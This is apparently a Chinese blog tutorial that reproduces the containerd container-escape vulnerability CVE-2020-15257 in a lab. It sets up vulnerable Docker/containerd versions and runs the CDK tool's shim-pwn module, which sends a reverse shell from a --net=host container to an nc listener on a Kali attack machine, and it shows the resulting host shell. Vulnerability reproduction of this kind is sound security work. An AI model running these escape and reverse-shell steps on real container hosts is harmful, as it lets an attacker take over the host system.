Loading ...
CVE-2020-15257 Docker 容器逃逸复现

环境说明

  • 宿主机:Ubuntu 16.04 LTS(代号xenial

  • 攻击机:Kali Linux(IP:192.168.226.133

  • 漏洞信息CVE-2020-15257(containerd 权限绕过漏洞,影响containerd < 1.3.9

  • 工具:CDK(容器渗透工具,v0.1.6)

一、更换中科大镜像源(加速下载)

1. 备份原有源列表

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

2. 替换为中科大xenial

编辑源配置文件:

sudo vim /etc/apt/sources.list  # 无vim可替换为:sudo nano /etc/apt/sources.list

删除原有内容,粘贴以下配置(Ubuntu – USTC Mirror Help):

# 中科大Ubuntu 16.04(xenial)源
# 默认注释了源码仓库,如有需要可自行取消注释
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse

deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse

deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse

deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse

# 预发布软件源,不建议启用
# deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse

保存退出(vim:Esc:wq;nano:Ctrl+OEnterCtrl+X)。

3. 更新软件包索引

sudo apt update
  • 若提示 “GPG 签名无效”(如NO_PUBKEY XXXXXXXX),导入对应密钥:

    sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com XXXXXXXX  # 替换XXXXX为报错密钥ID
    sudo apt update  # 重新更新

二、安装 Docker 及漏洞版本 containerd

1. 安装依赖工具

sudo apt install -y ca-certificates curl software-properties-common apt-transport-https

2. 添加 Docker 官方 GPG 密钥

# 下载并转换密钥格式(适配新版apt)
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

3. 添加 Docker 源(适配 xenial)

# 添加稳定版源并绑定密钥
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu xenial stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update  # 刷新索引

4. 安装指定版本(漏洞环境核心)

需安装containerd < 1.3.9(此处用1.2.4),搭配兼容 Docker 版本:

sudo apt install -y \
  docker-ce=5:19.03.6~3-0~ubuntu-xenial \
  docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial \
  containerd.io=1.2.4-1
  • 若出现依赖错误,修复后重试:

    sudo apt -f install  # 自动修复依赖
    sudo apt install -y docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

5. 验证安装结果

# 检查Docker版本(需为19.03.6)
docker --version

# 检查containerd版本(需为1.2.4)
containerd --version

三、创建漏洞环境容器

1. 拉取 Ubuntu 18.04 镜像

docker pull ubuntu:18.04

2. 启动带--net=host的容器(关键)

漏洞利用需容器共享宿主机网络命名空间:

docker run -itd --net=host --name test ubuntu:18.04 /bin/bash
  • --net=host:容器使用宿主机网络,可访问宿主机containerd-shim套接字

  • --name test:指定容器名,方便后续操作

3. 确认容器状态

docker ps  # 输出示例:
# CONTAINER ID   IMAGE          COMMAND       CREATED        STATUS        NAMES
# e4430654470e   ubuntu:18.04   "/bin/bash"   About an hour ago   Up About an hour   test

四、上传 CDK 工具到容器

1. 宿主机下载 CDK

# 下载v0.1.6版本(复现稳定)
wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_v0.1.6_linux_amd64.tar.gz
tar -zxf cdk_v0.1.6_linux_amd64.tar.gz  # 解压得到cdk_linux_amd64

2. 复制到容器内

# 复制CDK到容器的/tmp目录(替换容器ID为实际ID)
docker cp cdk_linux_amd64 e4430654470e:/tmp

五、执行漏洞利用

1. 进入容器并准备 CDK

# 进入目标容器(替换容器ID为实际ID)
docker exec -it e4430654470e /bin/bash

# 赋予CDK执行权限
cd /tmp && chmod +x cdk_linux_amd64

2. 攻击机启动监听

在 Kali 攻击机上用nc监听反向连接端口:

nc -lvp 4444  # 监听4444端口,等待反弹

3. 容器内执行逃逸命令

# 通过CDK的shim-pwn模块触发漏洞,反弹Shell到攻击机
./cdk_linux_amd64 run shim-pwn 192.168.226.133 4444

六、验证逃逸结果

若漏洞利用成功,攻击机nc窗口会收到宿主机反向连接,通过以下方式验证是否逃逸至宿主机:

1. 攻击机连接反馈

listening on [any] 4444 ...
connect to [192.168.226.133] from (UNKNOWN) [192.168.226.154] 46826  # 192.168.226.154为宿主机IP

此时进入交互式 Shell,可直接执行命令。

2. 验证当前环境为宿主机

操作 宿主机特征(预期结果) 容器特征(未成功)
hostname 输出宿主机名(如lang-virtual-machine 输出容器 ID(如e4430654470e
ls /root 显示宿主机 root 目录文件(如.bash_history 提示 “No such file or directory”
cat /etc/issue 输出 “Ubuntu 16.04.7 LTS \n \l” 输出 “Ubuntu 18.04.6 LTS \n \l”
ps aux grep docker 显示 docker daemon 进程(如/usr/bin/dockerd

3. 成功标志

若上述命令输出符合宿主机特征,证明已从ubuntu:18.04容器成功逃逸至宿主机,漏洞复现完成。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇